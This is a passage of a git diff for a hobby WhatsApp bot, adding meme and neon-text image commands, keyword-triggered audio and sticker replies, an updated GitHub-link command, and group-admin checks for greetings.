axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/dd660681c36a3126c590f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff35 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6c1412d523455abb2677a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff36 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a421f4d85a38545be4926.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff37 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f0568921ca66fc0b01b83.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff38 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/816aaa82629bfa202f3d4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff39 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/91ec01a9b6375b414803c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff40 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/5e0c5e4999b8aa21c021f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff41 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0a9ae825b02db2cc591bb.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff42 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0df898e2ad77b8f69f91c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff43 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/e354930c0989a3077485e.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff44 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b41fc723da2d9835f0151.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff45 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/bc64365aa73d60de3dcfd.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff46 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b82196ba630383df9da76.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff47 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/8013933a6603cf2d75f94.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff48 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/4cd1004d8c8f3a800138f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff49 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/7e9911e44f490fd5ba4bf.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff50 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/816aaa82629bfa202f3d4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + } diff --git a/plugins/filters.js b/plugins/filters.js index 92502b6444..ff0a80b77c 100644 --- a/plugins/filters.js +++ b/plugins/filters.js @@ -54,14 +54,14 @@ Asena.addCommand({on: 'text', fromMe: false }, (async (message, match) => { if(Config.BGMFILTER){ let banned = jid.find( Jid => Jid === message.jid); if(banned !== undefined) return - if (!!message.mention && message.mention[0] == '919946432377@s.whatsapp.net') { -await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/Suhail.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, quoted : message.data, ptt: true}) + if (!!message.mention && message.mention[0] == '9199995390942@s.whatsapp.net') { +await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/I.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio,duration: Config.SAID,contextInfo: { forwardingScore: 5, isForwarded: true }, quoted : message.data, ptt: true}) } -const array = ['Akhil','alive','Aliya','Aliyo','Anshu','alone','Althaf','Ameer','ano','athan','ara','Ardra','ayilla','ayn','Anshad','aysheri','Ayyo','baby','Bgm','Bro','Back','bad boy','Bad','Bot','bgm','Bhasi','bie','big fan','Blackzue','Boss','bot','broken','brokenlove','Bye','comrade','chota mumbai','care','Chathi','chatho','Chathy','chechi','Chetta','Chiri','Chunk','chunke','chunks','comedy','cr7','Cristiano','Cry','Darling','da','Dai','DD','die','Da','Dora','ellarum','En','enne','Eda','ee','ekk','Ellarum ede','ennitt','enth','Entha cheyya','entha','Enthada','evde','Fan','fd','Feel aayi','Fek','ff','free','fresh','Frnd','Fsq','Gd mng','gd n8','Gd ngt','gdmng','gdngt','good bye','group','grp','Hm','Ha','hate','Haters','Hbd','Hbday','He','Hello','Hi','Hlo','Hloo','Hoi','Hy','i am back','ijathi','jd','Kozhi','kadhal','kali','Kanapi','Kanaran','Kanjan','Kanjav','kar98','Kemam','kenzo','Kenzoo','kerivaa','Kevin','Kgf','killadi','king','kiss','Kk','Koi','kozhi','Kukku','kundan','Kunju','kunna','Kurup','Kutty','La be','Lala','left','Legend','Leopucha','life','line','Lo','Loo','Love tune','love u','Love','lover','Loveu','Lub u','lucifer','machan','Mad','Malang','mindalle','mindathe','Mohanlal','Mood','Messi','moodesh','moonji','Music pranthan','music','Muth','muthe','my area','My god','My love','mybos','mylove','myr','myre','Nee','Nalla kutty','Nallakutti','nallath','Name entha','Name','nanban','Nanbiye','Nanni','neymar','Neymer','Nirthada','nirthada','Nirtheda','Nishal','njan','Njn vera','njn','Njr','noob','Oh no','Oh','ok bei','Ok bye','ok da','ok','oombi','oompi','over','Paat','poda','paatt','Paavam','padicho','pani','Panni','parayatte','patti','perfect ok','Pever','pewer','photo','Pikachu','Pinnallah','Place','Poda','Podai','Poli','polika','Pooda','poora','Poote','Pora','Potta','Potte','Power varate','power','Poweresh','Poyeda','Pranayam','Psycho','Umma','Ramos','rascal','rashmika','rasool','return','Rose','sad','Sahva','saji','Sayip','scene','Sed aayi','sed bgm','Sed tune','sed','Senior','Serious','set aano','Set','Seth po','Singapenne','single','sis','sketched','Smile','sneham','Soldier','song','sorry','Sry','Subscribe','Suhail','sulthan','Super','thalapathy','T','Tentacion','Thalapathy','thall','thamasha','Thantha','thayoli','theri','thot','thottu','thug','Thyr','Town','Track maat','trance','Uff','Umbi','umma','uyir','Vaathi','Va','Vaa','vada','Vava','Veeran','venda','Vijay','verithanam','Vidhi','welcome','Wait','waiting','why','wow','Yaar','Z aayi','2','aara','Aarulle','adi'] +const array = ['alive','Ayin','aliya','am','Aktf','Aa','Alone','Ah','Alo','Aliya','Aliyo','Anshu','alone','ano','athan','ara','Ardra','ayilla','ayn','annan','anshad','Anshad','aysheri','Ayyo','Ara','bilal','Bilal','bye','Broken','Black','baby','Bgm','Bro','Back','bad boy','Bad','Bot','bgm','Bhasi','bie','big fan','Blackzue','Boss','bot','broken','brokenlove','Bye','Cr7','Chunke','chunk','chaya','comrade','chota mumbai','care','Chathi','chatho','Chathy','chechi','Chetta','Chiri','Chunk','chunke','chunks','comedy','cr7','Cristiano','Cry','Daa','Dude sir','Darling','da','Dai','DD','die','Da','Dora','enthada','eda','Eee','Enne','en','ellarum','En','enne','Eda','ee','ekk','Ellarum ede','ennitt','enth','Entha cheyya','entha','Enthada','evde','Feel','fvrt','Fan','fd','Feel aayi','Fek','ff','free','fresh','Frnd','Fsq','Good mrng','Gd mng','gd n8','Gd ngt','gdmng','gdngt','good bye','group','grp','Haa','Happy','Hallo','Hai','help','Hm','Ha','hate','Haters','Hbd','Hbday','He','Hello','Hi','Hlo','Hloo','Hoi','Hy','i','Ikka','i am back','ijathi','jd','Kycho','Kollam','Kozhi','kadhal','kali','Kanapi','Kanaran','Kanjan','Kanjav','kar98','Kemam','kenzo','Kenzoo','kerivaa','Kevin','Kgf','killadi','king','kiss','Kk','Koi','kozhi','Kukku','kundan','Kunju','kunna','Kurup','Kutty','Life','Leo','La be','Lala','left','Legend','Leopucha','life','line','Lo','Loo','Love tune','love u','Love','lover','Loveu','Lub u','lucifer','love','Myre','Mm','Mamooka','Missing','Mine','maari','machan','Mad','Malang','mindalle','mindathe','Mohanlal','Mood','Messi','moodesh','moonji','Music pranthan','music','Muth','muthe','my area','My god','My love','mybos','mylove','myr','myre','Njn','nokk','n','Nalla','N','Nanban','nanba','Nanba','Nee','Nalla kutty','Nallakutti','nallath','Name entha','Name','nanban','Nanbiye','Nanni','neymar','Neymer','Nirthada','nirthada','Nirtheda','Nishal','njan','Njn vera','njn','Njr','noob','Oo','onam','Onam','Ooi','Oh no','Oh','ok bei','Ok bye','ok da','ok','oombi','oompi','over','Para','poyo','pm','Pm','palaji','Poda','Paat','poda','paatt','Paavam','padicho','pani','Panni','parayatte','patti','perfect ok','Pever','pewer','photo','Pikachu','Pinnallah','Place','Podai','Poli','polika','Pooda','poora','Poote','Pora','Potta','Potte','Power varate','power','Poweresh','Poyeda','Pranayam','Psycho','uyr','Uyir','Uyr','Umma','Rockyser','Rip','rip','rocky','Ramos','rascal','Rashmika','rashmika','rasool','return','Rocky','Rose','Single','Sett','Show','Scn','Song','song','Sad','Sed','sad','Sahva','saji','Sayip','scene','Sed aayi','sed bgm','Sed tune','sed','Senior','Serious','set aano','Set','Seth po','Singapenne','single','sis','sketched','Smile','sneham','Soldier','sorry','Sry','Subscribe','sulthan','Super','thalapathy','T','Tentacion','Thalapathy','thall','thamasha','Thantha','thayoli','theri','thot','thottu','thug','Thyr','Town','Track maat','trance','Uff','Umbi','umma','uyir','Vathi','Vaathi','Va','Vaa','vada','Vava','Veeran','venda','Vijay','verithanam','Vidhi','welcome','Wait','waiting','why','wow','Yaar','Z aayi','2','aara','Aarulle','adi'] array.map( async (a) => { let pattern = new RegExp(`\\b${a}\\b`, 'g'); if(pattern.test(message.message)){ - await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/' + a + '.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, quoted: message.data, ptt: true}) + await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/' + a + '.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio,duration: Config.SAID,contextInfo: { forwardingScore: 5, isForwarded: true }, quoted: message.data, ptt: true}) } }); } @@ -117,14 +117,14 @@ Asena.addCommand({on: 'text', fromMe: false}, (async (message, match) => { if(Config.BGMFILTER){ let banned = jid.find( Jid => Jid === message.jid); if(banned !== undefined) return - if (!!message.mention && message.mention[0] == '919946432377@s.whatsapp.net') { -await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/Suhail.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, quoted : message.data, ptt: true}) + if (!!message.mention && message.mention[0] == '919995390942@s.whatsapp.net') { +await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/I.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio,duration: Config.SAID,contextInfo: { forwardingScore: 0x3e8, isForwarded: true }, quoted : message.data, ptt: true}) } -const array = ['Akhil','alive','Aliya','Aliyo','Anshu','alone','Althaf','Ameer','ano','athan','ara','Ardra','ayilla','ayn','Anshad','aysheri','Ayyo','baby','Bgm','Bro','Back','bad boy','Bad','Bot','bgm','Bhasi','bie','big fan','Blackzue','Boss','bot','broken','brokenlove','Bye','comrade','chota mumbai','care','Chathi','chatho','Chathy','chechi','Chetta','Chiri','Chunk','chunke','chunks','comedy','cr7','Cristiano','Cry','Darling','da','Dai','DD','die','Da','Dora','ellarum','En','enne','Eda','ee','ekk','Ellarum ede','ennitt','enth','Entha cheyya','entha','Enthada','evde','Fan','fd','Feel aayi','Fek','ff','free','fresh','Frnd','Fsq','Gd mng','gd n8','Gd ngt','gdmng','gdngt','good bye','group','grp','Hm','Ha','hate','Haters','Hbd','Hbday','He','Hello','Hi','Hlo','Hloo','Hoi','Hy','i am back','ijathi','jd','Kozhi','kadhal','kali','Kanapi','Kanaran','Kanjan','Kanjav','kar98','Kemam','kenzo','Kenzoo','kerivaa','Kevin','Kgf','killadi','king','kiss','Kk','Koi','kozhi','Kukku','kundan','Kunju','kunna','Kurup','Kutty','La be','Lala','left','Legend','Leopucha','life','line','Lo','Loo','Love tune','love u','Love','lover','Loveu','Lub u','lucifer','machan','Mad','Malang','mindalle','mindathe','Mohanlal','Mood','Messi','moodesh','moonji','Music pranthan','music','Muth','muthe','my area','My god','My love','mybos','mylove','myr','myre','Nee','Nalla kutty','Nallakutti','nallath','Name entha','Name','nanban','Nanbiye','Nanni','neymar','Neymer','Nirthada','nirthada','Nirtheda','Nishal','njan','Njn vera','njn','Njr','noob','Oh no','Oh','ok bei','Ok bye','ok da','ok','oombi','oompi','over','Paat','poda','paatt','Paavam','padicho','pani','Panni','parayatte','patti','perfect ok','Pever','pewer','photo','Pikachu','Pinnallah','Place','Poda','Podai','Poli','polika','Pooda','poora','Poote','Pora','Potta','Potte','Power varate','power','Poweresh','Poyeda','Pranayam','Psycho','Umma','Ramos','rascal','rashmika','rasool','return','Rose','sad','Sahva','saji','Sayip','scene','Sed aayi','sed bgm','Sed tune','sed','Senior','Serious','set aano','Set','Seth po','Singapenne','single','sis','sketched','Smile','sneham','Soldier','song','sorry','Sry','Subscribe','Suhail','sulthan','Super','thalapathy','T','Tentacion','Thalapathy','thall','thamasha','Thantha','thayoli','theri','thot','thottu','thug','Thyr','Town','Track maat','trance','Uff','Umbi','umma','uyir','Vaathi','Va','Vaa','vada','Vava','Veeran','venda','Vijay','verithanam','Vidhi','welcome','Wait','waiting','why','wow','Yaar','Z aayi','2','aara','Aarulle','adi'] +const array = ['alive','andi','audio','Ayin','aliya','am','Aktf','Aa','Alone','Ah','Alo','Aliya','Aliyo','Anshu','alone','ano','athan','ara','Ardra','ayilla','Anshad vfc','ayn','annan','Amma','anshad','Anshad','aysheri','Ayyo','Ara','bilal','Bilal','bye','Broken','Black','baby','Bgm','Bro','Back','bad boy','Bad','Bot','bgm','Bhasi','bie','big fan','Blackzue','Boss','bot','broken','brokenlove','Bye','Cr7','Chunke','chunk','chaya','omrade','chota mumbai','care','Chathi','chatho','Chathy','chechi','Chetta','Chiri','Chunk','chunke','chunks','comedy','cr7','Cristiano','Cry','Doctor','Daa','Dude sir','Darling','da','Dai','DD','die','Da','Dora','enthada','Eee','Enthuva','Enne','eda','en','ellarum','En','enne','Eda','ee','ekk','Ellarum ede','ennitt','enth','Entha cheyya','entha','Enthada','evde','Feel','fvrt','Fan','fd','Feel aayi','Fek','ff','free','fresh','Frnd','Fsq','Gd mrng','Good mrng','Gd mng','gd n8','Gd ngt','gdmng','gdngt','good bye','group','grp','Hey','Hunais','Haii','Hii','Hlooi','Haa','Happy','Hallo','Hai','help','Hm','Ha','hate','Haters','Hbd','Hbday','He','Hello','Hi','Hlo','Hloo','Hoi','Hy','I','i','ikka','Ikka','i am back','ijathi','jd','Kycho','Kollam','Kozhi','kadhal','kali','Kanapi','Kanaran','Kanjan','Kanjav','kar98','Kemam','kenzo','Kenzoo','kerivaa','Kevin','Kgf','killadi','king','kiss','Kk','Koi','kozhi','Kukku','kundan','Kunju','kunna','Kurup','Kutty','Life','Leo','La be','Lala','left','Legend','Leopucha','life','line','Lo','Loo','Love tune','love u','Love','lover','Loveu','Lub u','lucifer','love','My','Music','Myre','mathiyo','Mm','Mamooka','Missing','mp3','Mine','maari','machan','Mad','Malang','mindalle','mindathe','Mohanlal','Mood','Messi','moodesh','moonji','Music pranthan','music','Muth','muthe','my area','My god','My love','mybos','mylove','myr','myre','Njn','nokk','n','Nalla','N','Nanban','nanba','Nanba','Nee','Nalla kutty','Nallakutti','nallath','Name entha','Name','nanban','Nanbiye','Nanni','No','neymar','Neymer','New','Nirthada','nirthada','Nirtheda','Nishal','njan','Njn vera','njn','Njr','noob','on','Ok','Oo','onam','Onam','Ooi','Oh no','Oh','ok bei','Ok bye','ok da','ok','oombi','oompi','over','Para','poyo','pm','Pm','palaji','Poda','Paat','poda','paatt','Paavam','padicho','pani','Panni','parayatte','patti','perfect ok','Pever','pewer','photo','Pikachu','Pinnallah','Place','Podai','Poli','polika','Pooda','poora','Poote','Pora','Potta','Potte','Power varate','power','Poweresh','Poyeda','Pranayam','Psycho','uyr','Uyir','Uyr','Umma','Rockyser','Rip','rip','rocky','Ramos','rascal','Rashmika','rashmika','rasool','return','Rocky','Rocky ser','Rose','Scene','sticker','Single','Sett','Show','Scn','Song','song','Sad','Sed','sad','Sahva','saji','Sayip','scene','Sed aayi','sed bgm','Sed tune','sed','Senior','Serious','set aano','Set','Seth po','Singapenne','single','sis','sketched','Smile','sneham','Soldier','sorry','Sry','Subscribe','sulthan','Super','tagall','thalapathy','T','Thalaiva','Tentacion','Thalapathy','thall','thamasha','Thantha','thayoli','theri','thot','thottu','thug','Thyr','Town','Track maat','trance','Uff','Umbi','umma','uyir','Vathi','Vaathi','Va','Vaa','vada','Vava','Veeran','venda','Vijay','verithanam','Vidhi','Welcome','welcome','Wait','waiting','why','wow','Xxx tentacion','you','Yaar','Z aayi','2','aara','Aarulle','adi'] array.map( async (a) => { let pattern = new RegExp(`\\b${a}\\b`, 'g'); if(pattern.test(message.message)){ - await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/' + a + '.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, quoted: message.data, ptt: true}) + await message.client.sendMessage(message.jid, fs.readFileSync('./uploads/' + a + '.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio,duration: Config.SAID,contextInfo: { forwardingScore: 0x3e8, isForwarded: true }, quoted: message.data, ptt: true}) } }); } @@ -144,10 +144,10 @@ Asena.addCommand({on: 'text', fromMe: false}, (async (message, match) => { if(Config.AUTOSTICKER){ let banned = jid.find( Jid => Jid === message.jid); if(banned !== undefined) return - if (!!message.mention && message.mention[0] == '919946432377@s.whatsapp.net') { -await message.client.sendMessage(message.jid, fs.readFileSync('./sticker/song.webp'), MessageType.sticker, { mimetype: Mimetype.webp, quoted : message.data, ptt: false}) + if (!!message.mention && message.mention[0] == '919995390942@s.whatsapp.net') { +await message.client.sendMessage(message.jid, fs.readFileSync('./sticker/Anshad.webp'), MessageType.sticker, { mimetype: Mimetype.webp, quoted : message.data, ptt: false}) } -const array = ['Pikachu','Msd','Vijay','Rashmika','song','Sry','Da','Line','Aarulle','achodaa','ayin','Aysheri','Ayye','Mm','vijay','thalapathy','Ok','Anshad','Sed','Samantha','Poda','Sed','Ayyo','broken','bye','chattho','cute','Da','Eee','Eee2','engane und','Entha','Enthada','Girls','Good morning','Good night','Hi','Hy','ithokke enth','ivan','Kurippe','Kurumb','Love','Mm','naanam','nadakkatte','Ok','paavam','Pattumo','pikachu','Pm','poda','Pova','Save','Sed','setth','sho','Shoo','Smile','tag','Udayipp','umma','Vaa','Vannu','yo','ys' ] +const array = ['Pikachu','Msd','Vijay','rocky','Rashmika','Sry','Da','Line','Aarulle','achodaa','ayin','Aysheri','Ayye','Mm','vijay','onam','thalapathy','Ok','Aktf','Anshad','Sed','Samantha','poda','chaya','Poda','Ayyo','broken','bye','chattho','cute','Eee','engane und','Entha','Enthada','Girls','Good morning','Good night','Hi','Hy','ithokke enth','ivan','Kurippe','Kurumb','Love','naanam','nadakkatte','paavam','Pattumo','pikachu','Pm','Pova','Save','setth','sho','Shoo','Smile','tag','Udayipp','umma','Vaa','Vannu','yo','ys' ] array.map( async (a) => { let pattern = new RegExp(`\\b${a}\\b`, 'g'); if(pattern.test(message.message)){ diff --git a/plugins/git.js b/plugins/git.js index 8390a98cb0..4645da5b37 100644 --- a/plugins/git.js +++ b/plugins/git.js @@ -5,25 +5,15 @@ const axios = require('axios'); const Language = require('../language'); const Lang = Language.getString('wallpaper'); -Asena.addCommand({pattern: 'git', fromMe: false, desc: Lang.WP}, (async (message, match) => { +Asena.addCommand({pattern: 'git', fromMe: false, desc: "Gives github link of the bot"}, (async (message, match) => { - var r_text = new Array (); - - - - r_text[0] = "https://www.pixelstalk.net/wp-content/uploads/2016/03/Pikachu-wallpaper-HD-dowload.jpg"; - - - var i = Math.floor(1*Math.random()) + var skl = await axios.get("https://i.postimg.cc/yxKfcqGQ/Anshad.jpg", { responseType: 'arraybuffer' }) - var respoimage = await axios.get(`${r_text[i]}`, { responseType: 'arraybuffer' }) + await message.sendMessage(Buffer(skl.data), MessageType.image, {mimetype: Mimetype.png, caption: `*Github* *(setup)* : *https://github.com/anshadat/Rocky* - await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: `*creater Saidali* -*owner number wa.me/919946432377* -*bot setting video : https://youtu.be/_D4ZYuUSXjs -*githublink https://github.com/ameer-kallumthodi/pikachu* -*audio commads https://github.com/ameer-kallumthodi/pikachu/tree/master/uploads* -*sticker commads https://github.com/ameer-kallumthodi/pikachu/tree/master/uploads* +*Audio comnds* : *https://github.com/anshadat/Rocky/tree/master/uploads* + +*Sticker cmnds* : *https://github.com/anshadat/Rocky/tree/master/uploads* `}) })); diff --git a/plugins/greenneon.js b/plugins/greenneon.js new file mode 100644 index 0000000000..0807f4cad5 --- /dev/null +++ b/plugins/greenneon.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command Kazhinn Yanthankilum Eyuth muthe\n🙄🙄🙄" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'greenneon ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://lolhuman.herokuapp.com/api/textprome/greenneon?apikey=72455af19b2324b6b9a4c844&text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'greenneon ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://lolhuman.herokuapp.com/api/textprome/greenneon?apikey=72455af19b2324b6b9a4c844&text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); + +} diff --git a/plugins/greetings.js b/plugins/greetings.js index 9af63e87b1..938e5dffd9 100644 --- a/plugins/greetings.js +++ b/plugins/greetings.js @@ -9,6 +9,7 @@ WhatsAsena - Yusuf Usta const Asena = require('../events'); const {MessageType} = require('@adiwajshing/baileys'); const sql = require('./sql/greetings'); +const Config = require('../config'); const Language = require('../language'); const Lang = Language.getString('greetings'); @@ -50,3 +51,67 @@ Asena.addCommand({pattern: 'goodbye (.*)', fromMe: true, dontAddCommandList: tru return await message.client.sendMessage(message.jid,Lang.GOODBYE_SETTED,MessageType.text) } })); + +if (Config.WORKTYPE == 'admin') { + + async function checkUsAdmin(message, user = message.data.participant) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +async function checkImAdmin(message, user = message.client.user.jid) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} + + Asena.addCommand({pattern: 'welcome$', fromMe: false, desc: Lang.WELCOME_DESC}, (async (message, match) => { + var us = await checkUsAdmin(message); + if (!us) return await message.client.sendMessage(message.jid,Lang.PLKADMIN ,MessageType.text ,{quoted: message.data }); + var hg = await sql.getMessage(message.jid); + if (hg === false) { + await message.client.sendMessage(message.jid,Lang.NOT_SET_WELCOME,MessageType.text); + } else { + await message.client.sendMessage(message.jid,Lang.WELCOME_ALREADY_SETTED + 